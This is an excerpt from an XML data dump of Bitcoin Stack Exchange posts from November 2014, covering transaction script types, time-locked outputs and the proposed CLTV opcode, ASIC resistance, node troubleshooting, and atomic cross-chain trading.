  <row Id="32641" PostTypeId="2" ParentId="32634" CreationDate="2014-11-20T17:56:00.347" Score="2" Body="&lt;p&gt;To go further on David's answer, the hardest part is actually the square root. It's just the number that after squaring modulo P ends up being the result you had before. That's a modular square root, and you won't easily compute it using regular arithmetic (unlike modular additions, multiplications or powers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This wikipedia article section has more information: &lt;a href=&quot;http://en.wikipedia.org/wiki/Quadratic_residue#Prime_or_prime_power_modulus&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Quadratic_residue#Prime_or_prime_power_modulus&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-11-20T17:56:00.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32642" PostTypeId="2" ParentId="32639" CreationDate="2014-11-20T18:04:48.833" Score="16" Body="&lt;p&gt;Pay-to-PubKey (P2PK) and pay-to-PubKey-Hash (P2PKH) were both introduced in the original Bitcoin 0.1 release. P2PK was used by default for mining and payments received using the interactive &lt;a href=&quot;https://en.bitcoin.it/wiki/IP_transaction&quot;&gt;IP-to-IP payment protocol&lt;/a&gt;; P2PKH was intended for use in non-interactive payments---but P2PKH transactions take up more space in the blockchain than P2PK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this space savings why Nakamoto chose to use P2PK for mining and interactive payments even when he had P2PKH available, or did he have some other reason for using different transaction types?  I think only he knows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a situation where you don't need the shorter P2PKH addresses, such as mining, interactive payments, or paying to your own pubkey for change, using a P2PK may be the better option, although there is a security advantage to P2PKH if you don't reuse addresses and if ECDSA someday gets broken in a certain way that makes attacks possible but slow to execute.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Type   Output                Input             Total Bytes&#xA;       ScriptPubKey          ScriptSig&#xA;&#xA;       push ....... 1        push  ... 1&#xA;       &amp;lt;key&amp;gt; ...... 33       &amp;lt;sig&amp;gt; ... ~72&#xA;P2PK   checksig ... 1&#xA;       --------------        -------------&#xA;       Total ...... 35       Total ... ~73     ~108&#xA;&#xA;       dup ........ 1        push .... 1&#xA;       hash160 .... 1        &amp;lt;sig&amp;gt; ... ~72&#xA;       push ....... 1        push .... 1&#xA;P2PKH  &amp;lt;hash&amp;gt; ..... 20       &amp;lt;key&amp;gt; ... 33&#xA;       equal ...... 1&#xA;       checksig ... 1&#xA;       --------------        --------------&#xA;       Total ...... 25       Total ... ~107   ~132&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The numbers above assume that you're using a &lt;a href=&quot;https://bitcoin.org/en/developer-guide#public-key-formats&quot;&gt;compressed public key&lt;/a&gt;, which are widely used today but were not implemented until &lt;a href=&quot;https://bitcoin.org/en/release/v0.6.0&quot;&gt;Bitcoin Core 0.6.0&lt;/a&gt;.  If you want to consider the older &quot;uncompressed&quot; public keys, add 32 bytes to the &lt;code&gt;&amp;lt;key&amp;gt;&lt;/code&gt; byte sizes.  Also, we ignore all constant factors in creating an output or input and just consider the number of bytes in the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of any compatibility issues---plenty of miners and mining pools use their own software to pay to P2PKH addresses, as you can see from the coinbases in recent blocks.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="21052" LastEditDate="2016-08-27T12:55:19.693" LastActivityDate="2016-08-27T12:55:19.693" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32643" PostTypeId="1" CreationDate="2014-11-20T18:55:52.633" Score="0" ViewCount="93" Body="&lt;p&gt;I have an amazon ec2 instance running a web server, MySQL server, and bitcoin daemon on ubuntu 14.04, and I ran ./bitcoind getnewaddress and the output was an address. I sent a few cents worth of bitcoin to that address, and I have been doing ./bitcoind getbalance for a few hours and &lt;strong&gt;still&lt;/strong&gt; there is no balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wondering if I needed to send to a particular accoutn instead of the main bitcoin daemon, I also sent a few cents to an address generated by ./bitcoind getnewaddress debug (just a test name) and did ./bitcoind getbalance debug. I have found nothing, I am not sure what the issue is. Port 8333 is open on the amazon vm, so I don't think the issue is there. bitcoind's rpc interface is running on port 8432 as specified by rpcport=8432 in ~/.bitcoin/bitcoin.conf. Any idea why I am not getting payments? I think there have been enough confirmations, I believe the number required is 6 required by default. I will check soon to make sure that there have been that many confirmations.&lt;/p&gt;&#xA;" OwnerUserId="16871" LastActivityDate="2014-11-20T19:19:48.067" Title="Why am I not getting payments on my bitcoind on an amazon ec2 instance?" Tags="|transactions|wallet|bitcoind|network|amazon-web-services|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32644" PostTypeId="2" ParentId="32643" CreationDate="2014-11-20T19:19:48.067" Score="1" Body="&lt;p&gt;Your client needs to be fully synchronized for your transactions to show up, otherwise it's not aware that these transactions ever took place.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-11-20T19:19:48.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32645" PostTypeId="2" ParentId="32629" CreationDate="2014-11-20T19:47:54.817" Score="2" Body="&lt;p&gt;There is no possible way of knowing what are the technologies used by the exchanges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;C++, C# and C have been typically used by the financial and trading software industry as they can be optimized for low latency / high frequency behavior needed for real-time trading. Java, F#, Python, VBA, Haskell as well as other programming languages have also been used but it all comes to a matter of a personal taste, what technologies you or your team are familiar with, what open source (or not) modules are out there that will prevent you from reinventing the wheel and much more that are out of the context of this forum. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to get an idea for the technologies used by an exchange is to spy on its job adverts. Still, what you'll get might not be accurate or it might refer to another or new product or service of that exchange, or even a migration of the existing technologies towards some other but still you'll get an idea. &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-11-20T19:47:54.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32646" PostTypeId="1" AcceptedAnswerId="32658" CreationDate="2014-11-20T19:52:52.467" Score="1" ViewCount="313" Body="&lt;p&gt;I know requiring a lot of memory is one thing that makes an algorithm ASIC resist. Are there any others?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could an ASIC be developed to do Elliptic Curve Crypto? Like adding two points, or signing a piece of data? Could an ASIC be developed to solve polynomial equations?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-11-20T20:01:31.637" LastActivityDate="2014-11-23T00:34:47.060" Title="What sort of tasks can an ASIC be developed to do?" Tags="|asic|secp256k1|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32647" PostTypeId="2" ParentId="32646" CreationDate="2014-11-20T20:12:27.237" Score="2" Body="&lt;p&gt;Taken from &lt;a href=&quot;https://download.wpsoftware.net/bitcoin/asic-faq.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ASICs and Decentralization FAQ&lt;/code&gt; by Andrew Poelstra&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Are ASIC’s evil?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;No, dedicated hardware brings us closer to the thermodynamic limit,&#xA;and is therefore eventu- ally a good thing for mining&#xA;decentralization. Also, because ASIC’s produce more hashes for the&#xA;same amount of energy, they produce stronger proofs-of-work with&#xA;proportionally less environmental impact.&lt;/p&gt;&#xA;&lt;p&gt;However, ASIC’s bring with them a risk of manufacturer centralization,&#xA;such as what we saw with Bitcoin in the early days of ASIC mining.&#xA;Market forces eventually broke this monopoly and one thing which sped&#xA;up the process is that Bitcoin uses the SHA2 hasing algorithm, which&#xA;was designed for easy development of dedicated hardware.&lt;/p&gt;&#xA;&lt;p&gt;Therefore, relatively little startup capital is needed to develop&#xA;Bitcoin ASIC’s. Further, regardless of one’s personal feeling toward&#xA;ASIC’s, they are inevitable. Dedicated hardware will always be more&#xA;efficient than general-purpose hardware (exactly because it is closer&#xA;to the thermodynamic limit) and Bitcoin’s incentives are aligned for&#xA;ever-increasing efficiency.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Is ASIC resistance desirable?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;No. ASIC resistance typically involves increasing algorithmic&#xA;complexity to discourage ASIC developers. However, ASIC’s are still&#xA;inevitable; all ASIC resistance does is increase the startup capital&#xA;required and therefore increase centralization of manufacturing.&#xA;Further, increasing the complexity of proof generation often means&#xA;also increasing the com- plexity of proof validation, often&#xA;disproportionately slow. This discourages (unpaid) non- mining&#xA;validators, which also increases centralization.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Is ASIC resistance possible?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;ASIC resistance, in the sense of making life difficult for ASIC&#xA;manufacturers (and therefore reducing the number of distinct&#xA;manufacturers) is possible. But it is impossible to create an&#xA;algorithm which runs at the same speed on general-purpose and&#xA;dedicated hardware (since general-purpose hardware contains many&#xA;extraneous features, e.g. communication buses for peripherals), and so&#xA;ultimately ASIC resistance is futile.&lt;/p&gt;&#xA;&lt;p&gt;(Schemes such as “the developers will just change the proof-of-work&#xA;algorithm if ASIC’s appear” do not even make sense — in a&#xA;decentralized currency the developers have no such power, while in a&#xA;centralized currency proof-of-work is a completely unnecessary waste&#xA;of power.)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Is memory hardness desirable?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;No. Memory hardness has the effect of increasing ASIC board footprint,&#xA;weakening the heat- dissipation decentralization provided by the&#xA;thermodynamic limit. Further, it increases the capital costs of mining&#xA;equipment relative to the energy costs, which also encourages cen-&#xA;tralization (since established miners have amortized their equipment&#xA;more than new miners). These effects are amplified by the fact that&#xA;SRAM is both several times faster and several times more expensive&#xA;than DRAM.&lt;/p&gt;&#xA;&lt;p&gt;Also, memory hard proofs-of-work often require lots of memory on the&#xA;part of the verifiers which is bad for decentralization as already&#xA;discussed.&lt;/p&gt;&#xA;&lt;p&gt;As an aside, since memory is far away and expensive to access on&#xA;general purpose computers, memory hardness actually increases the&#xA;benefit provided by ASIC’s! This is contrary to the goals of most&#xA;memory-hard advocates, and as we have seen above, memory-hardness&#xA;worsens the centralizing effects of ASIC’s while weakening the&#xA;decentralizing effects.&lt;/p&gt;&#xA;&lt;p&gt;One more thing worth mentioning is time-memory tradeoff (TMTO). This&#xA;is a property of an algorithm which allows higher memory usage to be&#xA;traded for a heavier computational load. An algorithm which is highly&#xA;susceptible to TMTO has poorly defined memory hardness, which at the&#xA;very least complicates analysis. It may also cause an algorithm to&#xA;fail to be optimization free.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user11221" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-11-20T20:12:27.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32648" PostTypeId="2" ParentId="32638" CreationDate="2014-11-20T20:26:01.717" Score="1" Body="&lt;p&gt;The time required for your transaction to be broadcasted over the network is normally a few milliseconds. A high HD utilization, an outdated processor or many small unspent outputs in your wallet can delay the time required by your client to perform the broadcasting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The time, however, required for your transaction to get &lt;strong&gt;one&lt;/strong&gt; confirmation, assuming that your client is synched and the transaction itself is valid and carries the right fee to get included right away into the next block, is currently around 8 minutes (&lt;a href=&quot;https://blockchain.info/charts/avg-confirmation-time?timespan=30days&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=&quot; rel=&quot;nofollow&quot;&gt;6:45 to 8:43 minutes over the past 30 days&lt;/a&gt;). &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-11-20T20:26:01.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32649" PostTypeId="1" CreationDate="2014-11-20T22:47:03.933" Score="1" ViewCount="291" Body="&lt;p&gt;My application has sellers with stored (public) Bitcoin addresses - lets say &quot;receiving address&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also application allows anonymous buyers who can buy goods from these sellers paying by bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is that money from the buyer to come to seller as fast as it possible. To do it now I am using &lt;a href=&quot;https://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/api_receive&lt;/a&gt; service to generate unique  payment address for each payment. So, I can see that payment was done in a second, and using their callbacks I will know when payment is confirmed and redirected to the seller account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way works, but I am not comfortable with this. Different reasons - depending on blockchain.info, redirecting money takes from 10 mins to some hours. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started using this ways 3 years ago but I fill it can be another way to do this properly.&#xA;Do some one has another solution for associating payment with order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Also another questions&lt;/strong&gt; - is it any way to make payment to Seller address directly and associate this payment with the order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="7106" LastEditorUserId="2306" LastEditDate="2015-08-23T22:07:27.813" LastActivityDate="2018-03-25T14:37:15.250" Title="Bitcoin POS: payments between seller and buyer" Tags="|blockchain.info|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32650" PostTypeId="1" AcceptedAnswerId="32651" CreationDate="2014-11-20T23:22:36.013" Score="1" ViewCount="337" Body="&lt;p&gt;In &lt;code&gt;IsStandardTx&lt;/code&gt; within main.cpp, there is a comment: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Treat non-final transactions as non-standard to prevent a specific type&#xA;// of double-spend attack, as well as DoS attacks. (if the transaction&#xA;// can't be mined, the attacker isn't expending resources broadcasting it)&#xA;// Basically we don't want to propagate transactions that can't included in&#xA;// the next block.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What are the specific type of double-spend attacks and the DoS attacks alluded to here? &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="2306" LastEditDate="2015-01-07T05:12:16.680" LastActivityDate="2015-01-07T05:12:16.680" Title="Why are non-final transactions considered non-standard?" Tags="|security|standard|non-standard-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32651" PostTypeId="2" ParentId="32650" CreationDate="2014-11-21T00:09:01.353" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The denial-of-service (DOS) attack is easy to explain: each time a transaction is updated by increasing the sequence number in an input, the whole transaction needs to be propagated through the network again.  So if a transaction is 1 KB and there are 10,000 full nodes, you can waste a minimum of 10 MB of network bandwidth each time you update the transaction at only 1 KB bandwidth cost to you---and you can do it an essentially unlimited number of times with an essentially unlimited number of transactions, none of them costing you any money besides the transaction fee.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm not absolutely sure what the double spend attack referred to here is, but my guess is that it's the basic zero-conf double spend but with the network helping the fraudster: the fraudster pays you with a non-final unconfirmed transaction, being a trusting person you provide goods immediately, the fraudster broadcasts a double spend with a higher sequence number, the network mines the double spend instead of the original transaction, and you don't get paid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be easy to block this type of double spend by refusing to accept into your wallet any unconfirmed transaction with a non-final sequence number, but that could lead to user confusion: &quot;he said he paid me, and BlockChain.info says he paid me, but the transaction doesn't appear in my wallet!&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-21T00:09:01.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32652" PostTypeId="2" ParentId="32024" CreationDate="2014-11-21T02:33:56.427" Score="3" Body="&lt;p&gt;From nxtforum.org &quot;Move blockchain location&quot; at &lt;a href=&quot;http://nxtforum.org/nrs-client-how-to-help/move-blockchain-location/&quot; rel=&quot;nofollow&quot;&gt;http://nxtforum.org/nrs-client-how-to-help/move-blockchain-location/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;look in /conf/nxt-default.properties.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In the #### DATABASE #### section, you will find by default&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;# The nxt_db folder is expected to be in the current working directory, will be created if missing.&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;nxt.dbUrl=jdbc:h2:nxt_db/nxt;DB_CLOSE_ON_EXIT=FALSE&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;NRS will create the database folder in D:/nxt_db.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can also leave nxt-default properties with default values, and create a user properties file called &quot;nxt.properties&quot; in the same /conf folder. Any values in nxt.properties will override defaults in nxt-default.properties, so a nxt.properties file defining nxt.dbUrl will work the same as the previous edit.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="21222" LastActivityDate="2014-11-21T02:33:56.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32653" PostTypeId="1" AcceptedAnswerId="32659" CreationDate="2014-11-21T05:54:55.533" Score="5" ViewCount="1045" Body="&lt;p&gt;In bitcoin, each transaction has an &lt;code&gt;nLockTime&lt;/code&gt; integer to specify the earliest allowed block number/time that the transaction can be added to the blockchain. In addition, each transaction input has an &lt;code&gt;nSequence&lt;/code&gt; integer that could theoretically be used to update transactions and know which is the most recent (although this functionality is currently disabled). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is there a way to broadcast a transaction which is final and can be added to the blockchain immediately, but also make it so that its outputs cannot be spent until a certain block number/time? It seems like this would be a useful feature. For example, if I want to give my inheritance to be made available at the time my grandson/granddaughter turns 18, I don't think there is any way to do that in bitcoin except have someone hold the funds and give them to them at the time. Or if I wanted to give someone an allowance, I could just send funds at once for 3 months or so, and they would just show up in the son/daughter's wallet on a weekly basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, just to double check, there's no way to do something like this in bitcoin, is there?&lt;/strong&gt; Are there any security risks by allowing transactions like this? If there really isn't any way to do this, then maybe it's something to add to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Hardfork_Wishlist&quot; rel=&quot;noreferrer&quot;&gt;hard fork wishlist&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no way to do this with Bitcoin right now, is it because there is a serious flaw with such a system where an UTXO could be added to the blockchain that is not &lt;em&gt;YET&lt;/em&gt; spendable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can think of two ways that such a thing might be implemented. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Supplement the bitcoin scripting language with &lt;code&gt;OP_BLOCKINDEX&lt;/code&gt; and &lt;code&gt;OP_BLOCKTIME&lt;/code&gt; opcodes, which just push the corresponding value onto the stack. These values would have to come from the block that spends the UTXO, though, not from the the block that included the transaction that created the UTXO. This would mean that any transaction outputs with these OP codes could not be spent with 0 confirmations, because these OPs would have no meaning in this context. (This method possibly adds too much complexity to the situation)&lt;/li&gt;&#xA;&lt;li&gt;Or, similar to the &lt;code&gt;nSequence&lt;/code&gt; field, we could add an extra few bytes to each output to denote when an output can be spent (block number/time). If not provided, it can be assumed to be 0.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-11-21T06:19:13.533" LastActivityDate="2018-10-10T13:46:52.287" Title="Is there any way to make an UTXO that cannot be spent until a certain block #?" Tags="|script|locktime|blockchain-fork|sequence|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32654" PostTypeId="2" ParentId="32653" CreationDate="2014-11-21T06:15:43.083" Score="2" Body="&lt;p&gt;I'm unable to find the bitcointalk thread/github issue discussing this, but a block index opcode was considered and rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason (IIRC) is that it's important that if a transaction does not get into a block, it can still be included in another block. It would be very surprising if a transaction was reversed because the block it was in became extinct, and the block that replaced it had a timestamp of ten seconds later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you could mitigate this by detecting when an incoming payment has one of the time/block dependent opcodes in it. The next problem you need to solve is that someone could make a time-dependent transaction, then spend one of those outputs with a normal transaction. It would look like a normal transaction to the person you sent it to, but it would actually depend on a transaction that could become invalid if included in a different block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of these problems are unsolvable, but without a compelling use-case, they're not worth the complexity. In the example you give, the same thing could be accomplished by putting your private key in a safety deposit box and willing its contents to your grandson.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, your problem can kind-of be solved with nLockTime. You can create a transaction sending your Bitcoins to an address controlled by your grandson; set the nLockTime to expire at a certain date; and destroy the private key signing that transaction. The problem with this is that the transaction is not kept on the blockchain. Also, your grandson had better not lose that private key. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commenters, please chime in if you can find where this was discussed.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-11-21T06:31:50.357" LastActivityDate="2014-11-21T06:31:50.357" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32655" PostTypeId="1" AcceptedAnswerId="32660" CreationDate="2014-11-21T07:27:21.017" Score="1" ViewCount="2209" Body="&lt;p&gt;I've just started Litecoin mining, and I've realized that my blockchain takes eons to download, even though its only less than 4GB.  I've read several other posts on the same problem, but none of them seem to give a comprehensive step by step tutorial on how to port forward.  Could someone please explain to me the details on how to port forward for Litecoin mining? I've gotten this far: &lt;img src=&quot;https://i.stack.imgur.com/KMi8i.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Ok, I've set up a rule for my firewall to allow the Litecoin ports, but now I'm stuck at setting up a reserved address.  Here's a picture:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HvBX9.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Alright, I've found my device on the list of devices on my LAN (Tim-W) and clicked the button saying always use the same IP Address. Is that what I'm supposed to do?  BTW, there has been no real change in the number of connections, or connection speed with the Litecoin Network since I had done this.  It seems that the peak was about 13 connections after I set a rule for my firewall to allow the Litecoin ports, then it just went downwards - I'm stuck at around 39 weeks left to download off the blockchain:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/b14ih.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something else I noted was that I couldn't assign the Litecoin port settings to my device either.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Ur8V.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="21224" LastEditorUserId="21224" LastEditDate="2014-11-22T03:18:09.147" LastActivityDate="2014-11-22T03:18:09.147" Title="How to Enable Port Forwarding for Litecoin Mining?" Tags="|litecoin|nodes|connection|port|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32656" PostTypeId="2" ParentId="32278" CreationDate="2014-11-21T10:13:10.353" Score="2" Body="&lt;p&gt;To exchange between Bitcoin and popular alt-coins like Litecoin/Dogecoin you will need to use the first solution ('using revealing secrets of contract'). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second solution is designed around a hypothetical custom altcoin which is designed specifically to support the described exchange algorithm. I don't think that such an altcoin actually exists, but there definitely isn't support for this in Litecoin or Dogecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a problem with the refund transactions in the first solution, however, with the current Bitcoin version, due to &lt;a href=&quot;http://www.righto.com/2014/02/bitcoin-transaction-malleability.html&quot; rel=&quot;nofollow&quot;&gt;transaction malleability&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that refund transactions need to be signed before submitting base transactions to the blockchain, but the base transactions can potentially be mutated before they get to the blockchain, which would invalidate the refund transactions and prevent coin being reclaimed in the event of aborted exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I discuss this issue in some more detail in &lt;a href=&quot;http://upcoder.com/11/atomic-cross-chain-exchange/&quot; rel=&quot;nofollow&quot;&gt;this blog post&lt;/a&gt;, where I also look at a generalised form of the 'pay on reveal secret' transaction semantics in this exchange algorithm, and discuss other ways in which this can be implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it's possible to make this work in &lt;em&gt;an embedded protocol&lt;/em&gt;, and then perform trustless exchange between blockchains with the embedded value tokens as intermediary steps. I've made a working version of this setup in the form of &lt;a href=&quot;https://github.com/crispweed/swapbill&quot; rel=&quot;nofollow&quot;&gt;SwapBill&lt;/a&gt;, and this is set up and can be used, currently, for trustless exchange between testnet Bitcoin and testnet Litcoin.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If atmoic cross chain trading is possible, are there any transactions in the blockchain where atomic cross chain trading has been used? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are definitely &lt;em&gt;SwapBill&lt;/em&gt; atomic exchange transactions on the Bitcoin and Litecoin testnet blockchains, but this is not really what you are asking. ;)&lt;/p&gt;&#xA;" OwnerUserId="13754" LastActivityDate="2014-11-21T10:13:10.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32658" PostTypeId="2" ParentId="32646" CreationDate="2014-11-21T12:01:19.577" Score="0" Body="&lt;p&gt;An ASIC can be developed to do anything. Algorithms that require memory take some of the computational advantage out of using an ASIC, but it is still possible to develop an ASIC with memory. NO algorithm is ASIC proof, including all the ones you mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the extreme you can take any general CPU or GPU and throw out the parts that you don't need and voilla there's your ASIC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;George's answer is very relevant here as well.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="18196" LastEditDate="2014-11-23T00:34:47.060" LastActivityDate="2014-11-23T00:34:47.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32659" PostTypeId="2" ParentId="32653" CreationDate="2014-11-21T12:34:23.767" Score="6" Body="&lt;p&gt;No, there isn't currently any way to do what you describe without using a third-party oracle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, you may be able to do this relatively soon.  A soft fork has been proposed to introduce a &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0065.mediawiki&quot;&gt;&lt;code&gt;OP_CHECKLOCKTIMEVERIFY&lt;/code&gt; op code`&lt;/a&gt; (CLTV), and what what I can tell it has &lt;a href=&quot;http://www.mail-archive.com/bitcoin-development%40lists.sourceforge.net/msg06250.html&quot;&gt;strong support from the core dev team&lt;/a&gt; (but note that soft forks require miner support for implementation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Nick says, previous attempts were rejected because they proposed pushing the current block's height or time on to the stack like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pubkey&amp;gt;       checksigverify  block           &amp;lt;data&amp;gt;    equalverify&#xA;&amp;lt;your pubkey&amp;gt;  compare to sig  current height  1000000   Only spend in block 1,000,000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, elaborating on what Nick said, the example transaction above would be valid in block 1,000,000---but if there was a chain reorganization, it might not be included in the new block 1,000,000 and so any transactions depending on it would be invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CLTV op code avoids this two ways.  First, it use the &lt;a href=&quot;https://bitcoin.org/en/developer-guide#locktime-and-sequence-number&quot;&gt;nLockTime&lt;/a&gt; value from the spending transaction rather than the block height or block header time value.  Since a transaction can only be included in a block if its nLockTime is equal to or greater than the current block height/time, this achieves the primary goal of allowing UTXOs that can't be spent until a particular time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing CLTV does is check values directly rather than pushing data to the stack.  This allows it to only implement a greater-than-or-equal-to check, so the transaction is always spendable after the specified height/time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that the soft fork process to introduce CLTV will begin with Bitcoin Core 0.11, possibly sometime around July 2015.  (But, really, the core devs are unlikely to spend much time on CLTV until 0.10 gets released around January, so don't count on it.)&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-21T12:34:23.767" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
